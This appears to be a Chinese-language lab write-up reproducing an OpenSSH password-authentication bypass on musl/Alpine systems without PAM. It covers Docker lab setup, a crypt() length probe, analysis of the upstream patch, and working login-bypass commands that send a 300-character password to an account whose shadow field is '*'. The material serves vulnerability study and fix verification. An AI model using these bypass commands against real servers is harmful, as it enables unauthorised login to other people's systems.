漏洞描述
openssh在2026年11月06日发布更新,在security更新中称修复了一个密码身份验证绕过漏洞

CVE编号为CVE-2026-123158,在NVD中漏洞描述为在 Linux 系统上,OpenSSH 10.6p2 之前的版本中,当使用 musl libc 库且未启用 PAM 时,sshd 服务缺少针对密码认证绕过漏洞的变通方案(该漏洞源于对字符串是否为密码哈希的错误识别)。对于某些账户配置,任何长度在 256 到 1024 个字符之间的密码都能成功验证。Alpine Linux 就是一个使用 musl libc 库且未启用 PAM 的平台示例。

环境搭建
检查docker版本
本文使用的docker为29.1.3版本
docker --version
docker ps >/dev/null && echo docker-ok
创建工作目录

下载源码
分别下载openssh-10.6p1,以及openssh-10.6p2版本的源码并进行校验
for v in 10.6p1 10.6p2; do
curl -sL --max-time 280 -o openssh-$v.tar.gz \
"https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-$v.tar.gz" \
|| curl -sL --max-time 280 -o openssh-$v.tar.gz \
"https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-$v.tar.gz"
gzip -t openssh-$v.tar.gz && echo "$v 下载完整"
done
sha256sum openssh-10.6p*.tar.gz # 应与 §1 的两个值一致
创建配置文件
sshd_config.lab
注意:不要写 UsePAM no——未编译 PAM 的 sshd 会因"Bad configuration option" 拒绝启动
cat > sshd_config.lab <<'EOF'
Port 2222
ListenAddress 0.0.0.0
HostKey /opt/ssh/etc/ssh_host_ed25519_key
HostKey /opt/ssh/etc/ssh_host_rsa_key
PasswordAuthentication yes
KbdInteractiveAuthentication no
PermitRootLogin yes
PidFile /tmp/sshd.pid
LogLevel DEBUG1
EOF
crypt_probe.c
在musl中,系统不存密码明文,存的是crypt(pass,salt)的结果,登陆的时候把输入的密码再算一遍进行比对,musl的crypt有一个特殊的行为:密码超过 256 字节时不报错、不返回空指针,而是返回恰好一个字符的字符串 *。这是2012 年的设计——很多程序不检查 crypt 返回值是否为空指针,直接拿去比较会崩溃,所以musl 改为返回一个"永远不可能等于任何真哈希"的字符串。问题在于很多系统恰好用单个* 当账户密码字段(表示禁止密码登录)
该代码主要用来验证musl:crypt在什么长度上从正常hash值变为错误的标记
cat > crypt_probe.c <<'EOF'
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
int main(void)
{
static char pw[1024];
int lens[] = {8, 100, 128, 200, 230, 240, 250, 255, 256, 257, 260, 280, 300};
const char *salts[] = {"$6$saltsalt$", "$5$saltsalt$"};
for (int s = 0; s < 2; s++) {
printf("== salt %.12s ==\n", salts[s]);
for (unsigned i = 0; i < sizeof(lens) / sizeof(lens[0]); i++) {
int len = lens[i];
memset(pw, 'A', len); pw[len] = '\0';
char *r = crypt(pw, salts[s]);
if (r == NULL) printf(" keylen=%3d -> NULL\n", len);
else if (strcmp(r, "*") == 0) printf(" keylen=%3d -> \"*\" <-- 错误标记\n", len);
else printf(" keylen=%3d -> %.20s... (正常哈希)\n", len, r);
}
}
return 0;
}
EOF
build_one.sh
构建脚本
cat > build_one.sh <<'EOF'
#!/bin/sh
# 用法: ./build_one.sh <容器名> <版本号,如 10.6p1>
set -e
NAME=$1; VER=$2
docker rm -f "$NAME" 2>/dev/null || true
docker run -d --name "$NAME" \
-e http_proxy= -e https_proxy= -e HTTP_PROXY= -e HTTPS_PROXY= \
-v "$(pwd):/lab:ro" alpine:latest sleep infinity
docker exec "$NAME" apk add --no-cache build-base zlib-dev openssl-dev
docker exec "$NAME" sh -c "tar xzf /lab/openssh-$VER.tar.gz -C /tmp"
docker exec "$NAME" sh -c "cd /tmp/openssh-$VER && \
./configure --prefix=/opt/ssh --without-pam --with-privsep-path=/var/empty \
>/tmp/configure.log 2>&1 && make -j\$(nproc) >/tmp/make.log 2>&1 && \
make install >/tmp/install.log 2>&1 && echo BUILD_OK || \
{ tail -20 /tmp/configure.log /tmp/make.log; exit 1; }"
docker exec "$NAME" sh -c "mkdir -p /var/empty && chmod 711 /var/empty && \
{ adduser -D -H -h /var/empty -s /sbin/nologin sshd 2>/dev/null || true; } && \
/opt/ssh/bin/ssh-keygen -A"
docker exec "$NAME" sh -c "echo 'root:rootpw123' | chpasswd && \
adduser -D -s /bin/sh victim && \
sed -i 's/^victim:!:/victim:*:/' /etc/shadow"
docker cp sshd_config.lab "$NAME":/opt/ssh/etc/sshd_config
docker cp crypt_probe.c "$NAME":/root/crypt_probe.c
docker exec "$NAME" gcc -O2 -o /root/crypt_probe /root/crypt_probe.c
echo "$NAME ready (OpenSSH $VER)"
EOF
chmod +x build_one.sh
创建镜像
分别创建存在漏洞版本以及修复版本的镜像
./build_one.sh sshole-vuln 10.6p1
./build_one.sh sshole-fixed 10.6p2

启动sshd
对每台容器进行清理残留,重启,将日志写进文件里面,方便进行排查
for c in sshole-vuln sshole-fixed; do
docker exec $c sh -c "ps -ef | awk '/sshd/ && !/awk/ {print \$1}' | xargs -r kill -9 2>/dev/null; true"
docker exec -d $c sh -c "/opt/ssh/sbin/sshd -D -e -f /opt/ssh/etc/sshd_config >/tmp/sshd.log 2>&1"
sleep 2
echo "== $c: $(docker exec $c /opt/ssh/bin/ssh -V 2>&1)"
docker exec $c netstat -tln | grep 2222
done
创建一个攻击者使用的容器
docker rm -f sshole-attacker 2>/dev/null
docker run -d --name sshole-attacker \
-e http_proxy= -e https_proxy= -e HTTP_PROXY= -e HTTPS_PROXY= \
alpine:latest sleep infinity
docker exec sshole-attacker apk add --no-cache openssh-client sshpass漏洞分析
https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482
auth-passwd.c
修复前:crypt返回非NULL,且strcmp(crypt 结果, 存储值) == 0。没有校验过"存储值是不是一个合法哈希"
musl 的 crypt 对超过 KEY_MAX(256 字节)的密码不返回 NULL,而是返回字符串
"*"作为错误标记类 Unix 系统惯用单字符
*放在密码字段表示"此账户禁止密码登录";
前者是"拒绝计算"的错误标记,后者是"禁止登录",语义不同但字节相同,strcmp 判定相等,认证通过

新增了MIN_PASSWORD_HASH_LEN 4 规定了hash值的长度最小为4
这里利用了一个事实,现实中的合法哈希没有短于4 字符的


修复前 pw_password 是借用的指针:shadow_pw() 的返回值指向 muslgetspnam 的静态缓冲区内部(src/passwd/getspnam.c:static struct spwd sp;static char *line;,一次 malloc 256 字节,所有调用共用)。而认证中途pick_salt() 借盐会再次调用 getspnam,同一缓冲被改写;更早的代码里还带着explicit_bzero(passwd, strlen(passwd))对借来的哈希原地清零。比较基准指针指向的内存,会在比较发生之前被认证流程自身改写。
修复让两个分支都返回堆拷贝,归调用方所有,函数出口统一freezero(pw_password, strlen(pw_password))(先清零再释放,顺带不让密码字段内容在堆上残留)

xcrypt.c改动有两处,是配套的。
第一处,shadow_pw() 的返回值从直接返回指针改为返回 xstrdup 的堆拷贝,注释新增 "Caller must free returned value."。调用方拿到的是自己的内存,用完负责清零释放。 auth-passwd.c 各出口的 freezero 以此为前提。
第二处,pick_salt() 的遍历循环里,每轮拿到新账户哈希之前先把上一轮的哈希freezero,循环结束后再清一次。修复前的代码把遍历途中读到的其他账户哈希留在内存里,没有任何清理。这两处必须一起改:返回值还是 libc 静态缓冲的指针时,pick_salt 不能对它调用freezero,否则会把缓冲里后续还要用的数据一起清掉;改成堆拷贝之后才能清理。旧代码中的 explicit_bzero 一直在这块缓冲上做原地清零

port-uw.c
port-uw.c 是 UnixWare 平台的 sys_auth_passwd(),写法和 auth-passwd.c 一样:拿 shadow_pw() 的返回值直接用、直接 strcmp。这次提交对它做了同样的修改:pw_password 改为 xstrdup,各出口统一freezero,原来 USE_LIBIAF 条件下的free 逻辑一并替换。
CVE 记录和报告都没有提到 UnixWare 上有独立的利用路径。对写法相同的平台代码一并修改,是把同样的隐患一起处理掉,而不是只改被报出来的那一处。

漏洞复现
检查环境
256字节以内crypt返回正常hash,257字节起返回错误标记 *这个数字是攻击输入长度的依据
docker exec sshole-vuln /root/crypt_probe | sed -n '1,11p;14,24p'
提取容器的IP
VULN_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sshole-vuln)
FIXED_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sshole-fixed)
echo "vuln=$VULN_IP fixed=$FIXED_IP"
定义ssh连接的参数
OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o PubkeyAuthentication=no -o PreferredAuthentications=password \
-o ConnectTimeout=8 -o LogLevel=ERROR"先使用密码正常登陆,可以登陆成功
docker exec sshole-attacker sshpass -p rootpw123 \
ssh $OPTS -p 2222 root@${VULN_IP} 'id'
使用错误密码登陆被拒绝
docker exec sshole-attacker sshpass -p wrongpassword \
ssh $OPTS -p 2222 victim@${VULN_IP} 'id'
身份验证绕过
用超过 256 字节的密码登录 victim,全程不提供任何正确凭据。
同一连接内多次尝试。用 SSH_ASKPASS 让客户端自动填密码,允许三次提示:
docker exec sshole-attacker sh -c 'printf "#!/bin/sh\nprintf \"A%%.0s\" \$(seq 300)\n" > /tmp/askpass.sh && chmod +x /tmp/askpass.sh'docker exec sshole-attacker sh -c "SSH_ASKPASS=/tmp/askpass.sh SSH_ASKPASS_REQUIRE=force ssh \
$OPTS -o NumberOfPasswordPrompts=3 -p 2222 victim@${VULN_IP} id < /dev/null"成功登陆并执行命令

对照账户hash值
输出Permission denied,root 的密码字段是真实的 $6$... 哈希。同样的 300 字节密码经 crypt 返回*,与 root 的哈希不相等,被拒。密码字段是合法哈希的账户不受此漏洞影响。
docker exec sshole-attacker sh -c \
"sshpass -p \$(head -c 300 /dev/zero | tr '\0' A) \
ssh $OPTS -p 2222 root@${VULN_IP} 'id'"
验证官方修复
同样的攻击打到只有版本号不同的 10.6p2,验证官方修复有效

参考链接
CVE 官方记录
https://www.cve.org/CVERecord?id=CVE-2026-123158
官方修复 commit
https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482
OpenSSH 10.6p2 release notes
https://www.openssh.org/releasenotes.html
musl commit b3c4cc12
https://git.musl-libc.org/cgit/musl/commit/?id=b3c4cc121f70faea45389fe7ddc1127ed5cbd8bb
musl commit 88bf5a8a
https://git.musl-libc.org/cgit/musl/commit/?id=88bf5a8a8d7d796f63cca8589f4de67aa8345f1a
musl crypt_sha512.c 源码
源码
OpenSSH git 仓库